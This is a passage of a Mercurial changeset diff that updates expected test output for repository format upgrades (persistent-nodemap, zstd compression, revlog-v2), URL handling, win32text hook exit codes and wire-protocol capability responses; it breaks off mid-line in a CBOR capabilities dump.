revlog-v2: no plain-cl-delta: yes compression: zlib compression-level: default @@ -316,11 +334,13 @@ generaldelta: no yes yes share-safe: no no no sparserevlog: no yes yes - sidedata: no no no - persistent-nodemap: no no no + persistent-nodemap: no no no (no-rust !) + persistent-nodemap: no yes no (rust !) copies-sdc: no no no + revlog-v2: no no no plain-cl-delta: yes yes yes - compression: zlib zlib zlib + compression: zlib zlib zlib (no-zstd !) + compression: zlib zlib zstd (zstd !) compression-level: default default default $ hg debugformat --verbose --config format.usegeneraldelta=no format-variant repo config default @@ -329,11 +349,13 @@ generaldelta: no no yes share-safe: no no no sparserevlog: no no yes - sidedata: no no no - persistent-nodemap: no no no + persistent-nodemap: no no no (no-rust !) + persistent-nodemap: no yes no (rust !) copies-sdc: no no no + revlog-v2: no no no plain-cl-delta: yes yes yes - compression: zlib zlib zlib + compression: zlib zlib zlib (no-zstd !) + compression: zlib zlib zstd (zstd !) compression-level: default default default $ hg debugformat --verbose --config format.usegeneraldelta=no --color=debug format-variant repo config default @@ -342,11 +364,13 @@ [formatvariant.name.mismatchdefault|generaldelta: ][formatvariant.repo.mismatchdefault| no][formatvariant.config.special| no][formatvariant.default| yes] [formatvariant.name.uptodate|share-safe: ][formatvariant.repo.uptodate| no][formatvariant.config.default| no][formatvariant.default| no] [formatvariant.name.mismatchdefault|sparserevlog: ][formatvariant.repo.mismatchdefault| no][formatvariant.config.special| no][formatvariant.default| yes] - [formatvariant.name.uptodate|sidedata: ][formatvariant.repo.uptodate| no][formatvariant.config.default| no][formatvariant.default| no] - [formatvariant.name.uptodate|persistent-nodemap:][formatvariant.repo.uptodate| no][formatvariant.config.default| no][formatvariant.default| no] + [formatvariant.name.uptodate|persistent-nodemap:][formatvariant.repo.uptodate| no][formatvariant.config.default| no][formatvariant.default| no] (no-rust !) + [formatvariant.name.mismatchconfig|persistent-nodemap:][formatvariant.repo.mismatchconfig| no][formatvariant.config.special| yes][formatvariant.default| no] (rust !) [formatvariant.name.uptodate|copies-sdc: ][formatvariant.repo.uptodate| no][formatvariant.config.default| no][formatvariant.default| no] + [formatvariant.name.uptodate|revlog-v2: ][formatvariant.repo.uptodate| no][formatvariant.config.default| no][formatvariant.default| no] [formatvariant.name.uptodate|plain-cl-delta: ][formatvariant.repo.uptodate| yes][formatvariant.config.default| yes][formatvariant.default| yes] - [formatvariant.name.uptodate|compression: ][formatvariant.repo.uptodate| zlib][formatvariant.config.default| zlib][formatvariant.default| zlib] + [formatvariant.name.uptodate|compression: ][formatvariant.repo.uptodate| zlib][formatvariant.config.default| zlib][formatvariant.default| zlib] (no-zstd !) + [formatvariant.name.mismatchdefault|compression: ][formatvariant.repo.mismatchdefault| zlib][formatvariant.config.special| zlib][formatvariant.default| zstd] (zstd !) [formatvariant.name.uptodate|compression-level: ][formatvariant.repo.uptodate| default][formatvariant.config.default| default][formatvariant.default| default] $ hg debugupgraderepo repository lacks features recommended by current config options: @@ -363,12 +387,16 @@ sparserevlog in order to limit disk reading and memory usage on older version, the span of a delta chain from its root to its end is limited, whatever the relevant data in this span. This can severly limit Mercurial ability to build good chain of delta resulting is much more storage space being taken and limit reusability of on disk delta during exchange. + persistent-nodemap (rust !) + persist the node -> rev mapping on disk to speedup lookup (rust !) + (rust !) performing an upgrade with "--run" will make the following changes: requirements preserved: revlogv1, store - added: dotencode, fncache, generaldelta, sparserevlog + added: dotencode, fncache, generaldelta, sparserevlog (no-rust !) + added: dotencode, fncache, generaldelta, persistent-nodemap, sparserevlog (rust !) fncache repository will be more resilient to storing certain paths and performance of certain operations should be improved @@ -382,6 +410,9 @@ sparserevlog Revlog supports delta chain with more unused data between payload. These gaps will be skipped at read time. This allows for better delta chains, making a better compression and faster exchange with server. + persistent-nodemap (rust !) + Speedup revision lookup by node id. (rust !) + (rust !) processed revlogs: - all-filelogs - changelog @@ -404,7 +435,8 @@ $ hg debugupgraderepo --quiet requirements preserved: revlogv1, store - added: dotencode, fncache, generaldelta, sparserevlog + added: dotencode, fncache, generaldelta, sparserevlog (no-rust !) + added: dotencode, fncache, generaldelta, persistent-nodemap, sparserevlog (rust !) processed revlogs: - all-filelogs @@ -424,6 +456,9 @@ sparserevlog in order to limit disk reading and memory usage on older version, the span of a delta chain from its root to its end is limited, whatever the relevant data in this span. This can severly limit Mercurial ability to build good chain of delta resulting is much more storage space being taken and limit reusability of on disk delta during exchange. + persistent-nodemap (rust !) + persist the node -> rev mapping on disk to speedup lookup (rust !) + (rust !) repository lacks features used by the default config options: dotencode @@ -434,7 +469,8 @@ requirements preserved: revlogv1, store - added: fncache, generaldelta, sparserevlog + added: fncache, generaldelta, sparserevlog (no-rust !) + added: fncache, generaldelta, persistent-nodemap, sparserevlog (rust !) fncache repository will be more resilient to storing certain paths and performance of certain operations should be improved @@ -445,6 +481,9 @@ sparserevlog Revlog supports delta chain with more unused data between payload. These gaps will be skipped at read time. This allows for better delta chains, making a better compression and faster exchange with server. + persistent-nodemap (rust !) + Speedup revision lookup by node id. (rust !) + (rust !) processed revlogs: - all-filelogs - changelog @@ -503,7 +542,8 @@ upgrade will perform the following actions: requirements - preserved: dotencode, fncache, revlogv1, store + preserved: dotencode, fncache, revlogv1, store (no-rust !) + preserved: dotencode, fncache, persistent-nodemap, revlogv1, store (rust !) added: generaldelta generaldelta @@ -544,6 +584,7 @@ $ cat .hg/upgradebackup.*/requires dotencode fncache + persistent-nodemap (rust !) revlogv1 store @@ -553,6 +594,7 @@ dotencode fncache generaldelta + persistent-nodemap (rust !) revlogv1 store @@ -604,7 +646,8 @@ upgrade will perform the following actions: requirements - preserved: dotencode, fncache, generaldelta, revlogv1, store + preserved: dotencode, fncache, generaldelta, revlogv1, store (no-rust !) + preserved: dotencode, fncache, generaldelta, persistent-nodemap, revlogv1, store (rust !) added: sparserevlog sparserevlog @@ -632,11 +675,9 @@ data fully upgraded in a temporary repository marking source repository as being upgraded; clients will be unable to read from repository starting in-place swap of repository data - replaced files will be backed up at $TESTTMP/upgradegd/.hg/upgradebackup.* (glob) replacing store... store replacement complete; repository was inconsistent for * (glob) finalizing requirements file and making repository readable again - removing old repository content $TESTTMP/upgradegd/.hg/upgradebackup.* (glob) removing temporary repository $TESTTMP/upgradegd/.hg/upgrade.* (glob) $ ls -1 .hg/ | grep upgradebackup [1] @@ -647,7 +688,8 @@ upgrade will perform the following actions: requirements - preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store + preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store (no-rust !) + preserved: dotencode, fncache, generaldelta, persistent-nodemap, revlogv1, sparserevlog, store (rust !) optimisations: re-delta-parent @@ -679,11 +721,9 @@ data fully upgraded in a temporary repository marking source repository as being upgraded; clients will be unable to read from repository starting in-place swap of repository data - replaced files will be backed up at $TESTTMP/upgradegd/.hg/upgradebackup.* (glob) replacing store... store replacement complete; repository was inconsistent for *s (glob) finalizing requirements file and making repository readable again - removing old repository content $TESTTMP/upgradegd/.hg/upgradebackup.* (glob) removing temporary repository $TESTTMP/upgradegd/.hg/upgrade.* (glob) Check that the repo still works fine @@ -726,7 +766,8 @@ upgrade will perform the following actions: requirements - preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store + preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store (no-rust !) + preserved: dotencode, fncache, generaldelta, persistent-nodemap, revlogv1, sparserevlog, store (rust !) optimisations: re-delta-parent @@ -759,11 +800,9 @@ data fully upgraded in a temporary repository marking source repository as being upgraded; clients will be unable to read from repository starting in-place swap of repository data - replaced files will be backed up at $TESTTMP/upgradegd/.hg/upgradebackup.* (glob) replacing store... store replacement complete; repository was inconsistent for *s (glob) finalizing requirements file and making repository readable again - removing old repository content $TESTTMP/upgradegd/.hg/upgradebackup.* (glob) removing temporary repository $TESTTMP/upgradegd/.hg/upgrade.* (glob) $ hg verify checking changesets @@ -778,7 +817,8 @@ upgrade will perform the following actions: requirements - preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store + preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store (no-rust !) + preserved: dotencode, fncache, generaldelta, persistent-nodemap, revlogv1, sparserevlog, store (rust !) optimisations: re-delta-parent @@ -810,11 +850,9 @@ data fully upgraded in a temporary repository marking source repository as being upgraded; clients will be unable to read from repository starting in-place swap of repository data - replaced files will be backed up at $TESTTMP/upgradegd/.hg/upgradebackup.* (glob) replacing store... store replacement complete; repository was inconsistent for *s (glob) finalizing requirements file and making repository readable again - removing old repository content $TESTTMP/upgradegd/.hg/upgradebackup.* (glob) removing temporary repository $TESTTMP/upgradegd/.hg/upgrade.* (glob) $ hg verify checking changesets @@ -829,7 +867,8 @@ upgrade will perform the following actions: requirements - preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store + preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store (no-rust !) + preserved: dotencode, fncache, generaldelta, persistent-nodemap, revlogv1, sparserevlog, store (rust !) optimisations: re-delta-parent @@ -861,11 +900,9 @@ data fully upgraded in a temporary repository marking source repository as being upgraded; clients will be unable to read from repository starting in-place swap of repository data - replaced files will be backed up at $TESTTMP/upgradegd/.hg/upgradebackup.* (glob) replacing store... store replacement complete; repository was inconsistent for *s (glob) finalizing requirements file and making repository readable again - removing old repository content $TESTTMP/upgradegd/.hg/upgradebackup.* (glob) removing temporary repository $TESTTMP/upgradegd/.hg/upgrade.* (glob) $ hg verify checking changesets @@ -884,7 +921,8 @@ upgrade will perform the following actions: requirements - preserved: dotencode, fncache, generaldelta, revlogv1, store + preserved: dotencode, fncache, generaldelta, revlogv1, store (no-rust !) + preserved: dotencode, fncache, generaldelta, persistent-nodemap, revlogv1, store (rust !) removed: sparserevlog optimisations: re-delta-parent @@ -919,11 +957,9 @@ data fully upgraded in a temporary repository marking source repository as being upgraded; clients will be unable to read from repository starting in-place swap of repository data - replaced files will be backed up at $TESTTMP/upgradegd/.hg/upgradebackup.* (glob) replacing store... store replacement complete; repository was inconsistent for *s (glob) finalizing requirements file and making repository readable again - removing old repository content $TESTTMP/upgradegd/.hg/upgradebackup.* (glob) removing temporary repository $TESTTMP/upgradegd/.hg/upgrade.* (glob) $ hg verify checking changesets @@ -940,7 +976,8 @@ upgrade will perform the following actions: requirements - preserved: dotencode, fncache, generaldelta, revlogv1, store + preserved: dotencode, fncache, generaldelta, revlogv1, store (no-rust !) + preserved: dotencode, fncache, generaldelta, persistent-nodemap, revlogv1, store (rust !) added: sparserevlog optimisations: re-delta-parent @@ -978,11 +1015,9 @@ data fully upgraded in a temporary repository marking source repository as being upgraded; clients will be unable to read from repository starting in-place swap of repository data - replaced files will be backed up at $TESTTMP/upgradegd/.hg/upgradebackup.* (glob) replacing store... store replacement complete; repository was inconsistent for *s (glob) finalizing requirements file and making repository readable again - removing old repository content $TESTTMP/upgradegd/.hg/upgradebackup.* (glob) removing temporary repository $TESTTMP/upgradegd/.hg/upgrade.* (glob) $ hg verify checking changesets @@ -1007,7 +1042,8 @@ upgrade will perform the following actions: requirements - preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store + preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store (no-rust !) + preserved: dotencode, fncache, generaldelta, persistent-nodemap, revlogv1, sparserevlog, store (rust !) optimisations: re-delta-fulladd @@ -1070,6 +1106,7 @@ fncache generaldelta largefiles + persistent-nodemap (rust !) revlogv1 sparserevlog store @@ -1081,6 +1118,7 @@ fncache generaldelta largefiles + persistent-nodemap (rust !) revlogv1 sparserevlog store @@ -1158,6 +1196,7 @@ > maxchainlen = 9001 > EOF $ hg config format + format.revlog-compression=$BUNDLE2_COMPRESSIONS$ format.maxchainlen=9001 $ hg debugdeltachain file rev chain# chainlen prev delta size rawsize chainsize ratio lindist extradist extraratio readsize largestblk rddensity srchunks @@ -1169,7 +1208,8 @@ upgrade will perform the following actions: requirements - preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store + preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store (no-rust !) + preserved: dotencode, fncache, generaldelta, persistent-nodemap, revlogv1, sparserevlog, store (rust !) optimisations: re-delta-all @@ -1229,6 +1269,7 @@ dotencode fncache generaldelta + persistent-nodemap (rust !) revlogv1 store @@ -1237,7 +1278,8 @@ upgrade will perform the following actions: requirements - preserved: dotencode, fncache, generaldelta, revlogv1, store + preserved: dotencode, fncache, generaldelta, revlogv1, store (no-rust !) + preserved: dotencode, fncache, generaldelta, persistent-nodemap, revlogv1, store (rust !) added: sparserevlog processed revlogs: @@ -1249,6 +1291,7 @@ dotencode fncache generaldelta + persistent-nodemap (rust !) revlogv1 sparserevlog store @@ -1258,7 +1301,8 @@ upgrade will perform the following actions: requirements - preserved: dotencode, fncache, generaldelta, revlogv1, store + preserved: dotencode, fncache, generaldelta, revlogv1, store (no-rust !) + preserved: dotencode, fncache, generaldelta, persistent-nodemap, revlogv1, store (rust !) removed: sparserevlog processed revlogs: @@ -1270,6 +1314,7 @@ dotencode fncache generaldelta + persistent-nodemap (rust !) revlogv1 store @@ -1284,7 +1329,8 @@ upgrade will perform the following actions: requirements - preserved: dotencode, fncache, generaldelta, revlogv1, store + preserved: dotencode, fncache, generaldelta, revlogv1, store (no-rust !) + preserved: dotencode, fncache, generaldelta, persistent-nodemap, revlogv1, store (rust !) added: revlog-compression-zstd, sparserevlog processed revlogs: @@ -1299,16 +1345,19 @@ generaldelta: yes yes yes share-safe: no no no sparserevlog: yes yes yes - sidedata: no no no - persistent-nodemap: no no no + persistent-nodemap: no no no (no-rust !) + persistent-nodemap: yes yes no (rust !) copies-sdc: no no no + revlog-v2: no no no plain-cl-delta: yes yes yes - compression: zstd zlib zlib + compression: zlib zlib zlib (no-zstd !) + compression: zstd zlib zstd (zstd !) compression-level: default default default $ cat .hg/requires dotencode fncache generaldelta + persistent-nodemap (rust !) revlog-compression-zstd revlogv1 sparserevlog @@ -1320,7 +1369,8 @@ upgrade will perform the following actions: requirements - preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store + preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store (no-rust !) + preserved: dotencode, fncache, generaldelta, persistent-nodemap, revlogv1, sparserevlog, store (rust !) removed: revlog-compression-zstd processed revlogs: @@ -1335,16 +1385,19 @@ generaldelta: yes yes yes share-safe: no no no sparserevlog: yes yes yes - sidedata: no no no - persistent-nodemap: no no no + persistent-nodemap: no no no (no-rust !) + persistent-nodemap: yes yes no (rust !) copies-sdc: no no no + revlog-v2: no no no plain-cl-delta: yes yes yes - compression: zlib zlib zlib + compression: zlib zlib zlib (no-zstd !) + compression: zlib zlib zstd (zstd !) compression-level: default default default $ cat .hg/requires dotencode fncache generaldelta + persistent-nodemap (rust !) revlogv1 sparserevlog store @@ -1359,7 +1412,8 @@ upgrade will perform the following actions: requirements - preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store + preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store (no-rust !) + preserved: dotencode, fncache, generaldelta, persistent-nodemap, revlogv1, sparserevlog, store (rust !) added: revlog-compression-zstd processed revlogs: @@ -1374,16 +1428,19 @@ generaldelta: yes yes yes share-safe: no no no sparserevlog: yes yes yes - sidedata: no no no - persistent-nodemap: no no no + persistent-nodemap: no no no (no-rust !) + persistent-nodemap: yes yes no (rust !) copies-sdc: no no no + revlog-v2: no no no plain-cl-delta: yes yes yes - compression: zstd zstd zlib + compression: zlib zlib zlib (no-zstd !) + compression: zstd zstd zstd (zstd !) compression-level: default default default $ cat .hg/requires dotencode fncache generaldelta + persistent-nodemap (rust !) revlog-compression-zstd revlogv1 sparserevlog @@ -1400,10 +1457,12 @@ upgrade will perform the following actions: requirements - preserved: dotencode, fncache, generaldelta, revlogv1, store (no-zstd !) - preserved: dotencode, fncache, generaldelta, revlog-compression-zstd, revlogv1, sparserevlog, store (zstd !) - added: exp-sidedata-flag (zstd !) - added: exp-sidedata-flag, sparserevlog (no-zstd !) + preserved: dotencode, fncache, generaldelta, store (no-zstd !) + preserved: dotencode, fncache, generaldelta, revlog-compression-zstd, sparserevlog, store (zstd no-rust !) + preserved: dotencode, fncache, generaldelta, persistent-nodemap, revlog-compression-zstd, sparserevlog, store (rust !) + removed: revlogv1 + added: exp-revlogv2.2, exp-sidedata-flag (zstd !) + added: exp-revlogv2.2, exp-sidedata-flag, sparserevlog (no-zstd !) processed revlogs: - all-filelogs @@ -1417,20 +1476,22 @@ generaldelta: yes yes yes share-safe: no no no sparserevlog: yes yes yes - sidedata: yes no no - persistent-nodemap: no no no + persistent-nodemap: no no no (no-rust !) + persistent-nodemap: yes yes no (rust !) copies-sdc: no no no + revlog-v2: yes no no plain-cl-delta: yes yes yes compression: zlib zlib zlib (no-zstd !) - compression: zstd zstd zlib (zstd !) + compression: zstd zstd zstd (zstd !) compression-level: default default default $ cat .hg/requires dotencode + exp-revlogv2.2 exp-sidedata-flag fncache generaldelta + persistent-nodemap (rust !) revlog-compression-zstd (zstd !) - revlogv1 sparserevlog store $ hg debugsidedata -c 0 @@ -1444,9 +1505,11 @@ upgrade will perform the following actions: requirements - preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store (no-zstd !) - preserved: dotencode, fncache, generaldelta, revlog-compression-zstd, revlogv1, sparserevlog, store (zstd !) - removed: exp-sidedata-flag + preserved: dotencode, fncache, generaldelta, sparserevlog, store (no-zstd !) + preserved: dotencode, fncache, generaldelta, revlog-compression-zstd, sparserevlog, store (zstd no-rust !) + preserved: dotencode, fncache, generaldelta, persistent-nodemap, revlog-compression-zstd, sparserevlog, store (rust !) + removed: exp-revlogv2.2, exp-sidedata-flag + added: revlogv1 processed revlogs: - all-filelogs @@ -1460,17 +1523,19 @@ generaldelta: yes yes yes share-safe: no no no sparserevlog: yes yes yes - sidedata: no no no - persistent-nodemap: no no no + persistent-nodemap: no no no (no-rust !) + persistent-nodemap: yes yes no (rust !) copies-sdc: no no no + revlog-v2: no no no plain-cl-delta: yes yes yes compression: zlib zlib zlib (no-zstd !) - compression: zstd zstd zlib (zstd !) + compression: zstd zstd zstd (zstd !) compression-level: default default default $ cat .hg/requires dotencode fncache generaldelta + persistent-nodemap (rust !) revlog-compression-zstd (zstd !) revlogv1 sparserevlog @@ -1487,9 +1552,11 @@ upgrade will perform the following actions: requirements - preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store (no-zstd !) - preserved: dotencode, fncache, generaldelta, revlog-compression-zstd, revlogv1, sparserevlog, store (zstd !) - added: exp-sidedata-flag + preserved: dotencode, fncache, generaldelta, sparserevlog, store (no-zstd !) + preserved: dotencode, fncache, generaldelta, revlog-compression-zstd, sparserevlog, store (zstd no-rust !) + preserved: dotencode, fncache, generaldelta, persistent-nodemap, revlog-compression-zstd, sparserevlog, store (rust !) + removed: revlogv1 + added: exp-revlogv2.2, exp-sidedata-flag processed revlogs: - all-filelogs @@ -1503,20 +1570,22 @@ generaldelta: yes yes yes share-safe: no no no sparserevlog: yes yes yes - sidedata: yes yes no - persistent-nodemap: no no no + persistent-nodemap: no no no (no-rust !) + persistent-nodemap: yes yes no (rust !) copies-sdc: no no no + revlog-v2: yes yes no plain-cl-delta: yes yes yes compression: zlib zlib zlib (no-zstd !) - compression: zstd zstd zlib (zstd !) + compression: zstd zstd zstd (zstd !) compression-level: default default default $ cat .hg/requires dotencode + exp-revlogv2.2 exp-sidedata-flag fncache generaldelta + persistent-nodemap (rust !) revlog-compression-zstd (zstd !) - revlogv1 sparserevlog store $ hg debugsidedata -c 0 diff -r bc268ea9f984 -r f67b8946bb1b tests/test-url-download.t --- a/tests/test-url-download.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-url-download.t Tue Apr 20 11:01:06 2021 -0400 @@ -34,6 +34,8 @@ $ hg debugdownload ./null.txt 1 0000000000000000000000000000000000000000 + $ cat ../error.log + Test largefile URL ------------------ @@ -66,3 +68,5 @@ $ hg debugdownload "largefile://a57b57b39ee4dc3da1e03526596007f480ecdbe8" 1 0000000000000000000000000000000000000000 $ cd .. + + $ cat error.log diff -r bc268ea9f984 -r f67b8946bb1b tests/test-url.py --- a/tests/test-url.py Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-url.py Tue Apr 20 11:01:06 2021 -0400 @@ -275,7 +275,7 @@ def test_url(): """ >>> from mercurial import error, pycompat - >>> from mercurial.util import url + >>> from mercurial.utils.urlutil import url >>> from mercurial.utils.stringutil import forcebytestr This tests for edge cases in url.URL's parsing algorithm. Most of diff -r bc268ea9f984 -r f67b8946bb1b tests/test-win32text.t --- a/tests/test-win32text.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-win32text.t Tue Apr 20 11:01:06 2021 -0400 @@ -38,7 +38,7 @@ transaction abort! rollback completed abort: pretxncommit.crlf hook failed - [255] + [40] $ mv .hg/hgrc .hg/hgrc.bak @@ -77,7 +77,7 @@ transaction abort! rollback completed abort: pretxnchangegroup.crlf hook failed - [255] + [40] $ mv .hg/hgrc.bak .hg/hgrc $ echo hello > f @@ -109,7 +109,7 @@ transaction abort! rollback completed abort: pretxncommit.crlf hook failed - [255] + [40] $ hg revert -a forgetting d/f2 $ rm d/f2 @@ -286,7 +286,7 @@ transaction abort! rollback completed abort: pretxnchangegroup.crlf hook failed - [255] + [40] $ hg log -v changeset: 5:f0b1c8d75fce diff -r bc268ea9f984 -r f67b8946bb1b tests/test-wireproto-caching.t --- a/tests/test-wireproto-caching.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-wireproto-caching.t Tue Apr 20 11:01:06 2021 -0400 @@ -1,5 +1,10 @@ $ . $TESTDIR/wireprotohelpers.sh + +persistent-nodemap is not enabled by default. It is not relevant for this test so disable it. + $ cat >> $HGRCPATH << EOF + > [format] + > use-persistent-nodemap = no > [extensions] > blackbox = > [blackbox] diff -r bc268ea9f984 -r f67b8946bb1b tests/test-wireproto-command-capabilities.t --- a/tests/test-wireproto-command-capabilities.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-wireproto-command-capabilities.t Tue Apr 20 11:01:06 2021 -0400 @@ -2,6 +2,13 @@ $ . $TESTDIR/wireprotohelpers.sh +persistent-nodemap is not enabled by default. It is not relevant for this test so disable it. + + $ cat >> $HGRCPATH << EOF + > [format] + > use-persistent-nodemap = no + > EOF + $ hg init server zstd isn't present in plain builds. Make tests easier by removing @@ -150,7 +157,7 @@ s> Content-Type: application/mercurial-cbor\r\n s> Content-Length: *\r\n (glob) s> \r\n - s> \xa3GapibaseDapi/Dapis\xa0Nv1capabilitiesY\x01\xf7batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset compression=$BUNDLE2_COMPRESSIONS$ getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + s> \xa3GapibaseDapi/Dapis\xa0Nv1capabilitiesY\x01\xe4batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset compression=$BUNDLE2_COMPRESSIONS$ getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash cbor> [ { b'apibase': b'api/', @@ -190,7 +197,7 @@ s> Content-Type: application/mercurial-cbor\r\n s> Content-Length: *\r\n (glob) s> \r\n - s> \xa3GapibaseDapi/Dapis\xa0Nv1capabilitiesY\x01\xf7batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset compression=$BUNDLE2_COMPRESSIONS$ getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + s> \xa3GapibaseDapi/Dapis\xa0Nv1capabilitiesY\x01\xe4batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset compression=$BUNDLE2_COMPRESSIONS$ getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash cbor> [ { b'apibase': b'api/', @@ -223,7 +230,7 @@ s> Content-Type: application/mercurial-cbor\r\n s> Content-Length: *\r\n (glob) s> \r\n - s> \xa3GapibaseDapi/Dapis\xa1Pexp-http-v2-0003\xa4Hcommands\xacIbranchmap\xa2Dargs\xa0Kpermissions\x81DpullLcapabilities\xa2Dargs\xa0Kpermissions\x81DpullMchangesetdata\xa2Dargs\xa2Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x84IbookmarksGparentsEphaseHrevisionIrevisions\xa2Hrequired\xf5DtypeDlistKpermissions\x81DpullHfiledata\xa2Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x83HlinknodeGparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolEnodes\xa2Hrequired\xf5DtypeDlistDpath\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullIfilesdata\xa3Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x84NfirstchangesetHlinknodeGparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolJpathfilter\xa3Gdefault\xf6Hrequired\xf4DtypeDdictIrevisions\xa2Hrequired\xf5DtypeDlistKpermissions\x81DpullTrecommendedbatchsize\x19\xc3PEheads\xa2Dargs\xa1Jpubliconly\xa3Gdefault\xf4Hrequired\xf4DtypeDboolKpermissions\x81DpullEknown\xa2Dargs\xa1Enodes\xa3Gdefault\x80Hrequired\xf4DtypeDlistKpermissions\x81DpullHlistkeys\xa2Dargs\xa1Inamespace\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullFlookup\xa2Dargs\xa1Ckey\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullLmanifestdata\xa3Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x82GparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolEnodes\xa2Hrequired\xf5DtypeDlistDtree\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullTrecommendedbatchsize\x1a\x00\x01\x86\xa0Gpushkey\xa2Dargs\xa4Ckey\xa2Hrequired\xf5DtypeEbytesInamespace\xa2Hrequired\xf5DtypeEbytesCnew\xa2Hrequired\xf5DtypeEbytesCold\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpushPrawstorefiledata\xa2Dargs\xa2Efiles\xa2Hrequired\xf5DtypeDlistJpathfilter\xa3Gdefault\xf6Hrequired\xf4DtypeDlistKpermissions\x81DpullQframingmediatypes\x81X&application/mercurial-exp-framing-0006Rpathfilterprefixes\xd9\x01\x02\x82Epath:Lrootfilesin:Nrawrepoformats\x83LgeneraldeltaHrevlogv1LsparserevlogNv1capabilitiesY\x01\xf7batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset compression=$BUNDLE2_COMPRESSIONS$ getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + s> \xa3GapibaseDapi/Dapis\xa1Pexp-http-v2-0003\xa4Hcommands\xacIbranchmap\xa2Dargs\xa0Kpermissions\x81DpullLcapabilities\xa2Dargs\xa0Kpermissions\x81DpullMchangesetdata\xa2Dargs\xa2Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x84IbookmarksGparentsEphaseHrevisionIrevisions\xa2Hrequired\xf5DtypeDlistKpermissions\x81DpullHfiledata\xa2Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x83HlinknodeGparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolEnodes\xa2Hrequired\xf5DtypeDlistDpath\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullIfilesdata\xa3Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x84NfirstchangesetHlinknodeGparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolJpathfilter\xa3Gdefault\xf6Hrequired\xf4DtypeDdictIrevisions\xa2Hrequired\xf5DtypeDlistKpermissions\x81DpullTrecommendedbatchsize\x19\xc3PEheads\xa2Dargs\xa1Jpubliconly\xa3Gdefault\xf4Hrequired\xf4DtypeDboolKpermissions\x81DpullEknown\xa2Dargs\xa1Enodes\xa3Gdefault\x80Hrequired\xf4DtypeDlistKpermissions\x81DpullHlistkeys\xa2Dargs\xa1Inamespace\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullFlookup\xa2Dargs\xa1Ckey\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullLmanifestdata\xa3Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x82GparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolEnodes\xa2Hrequired\xf5DtypeDlistDtree\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullTrecommendedbatchsize\x1a\x00\x01\x86\xa0Gpushkey\xa2Dargs\xa4Ckey\xa2Hreq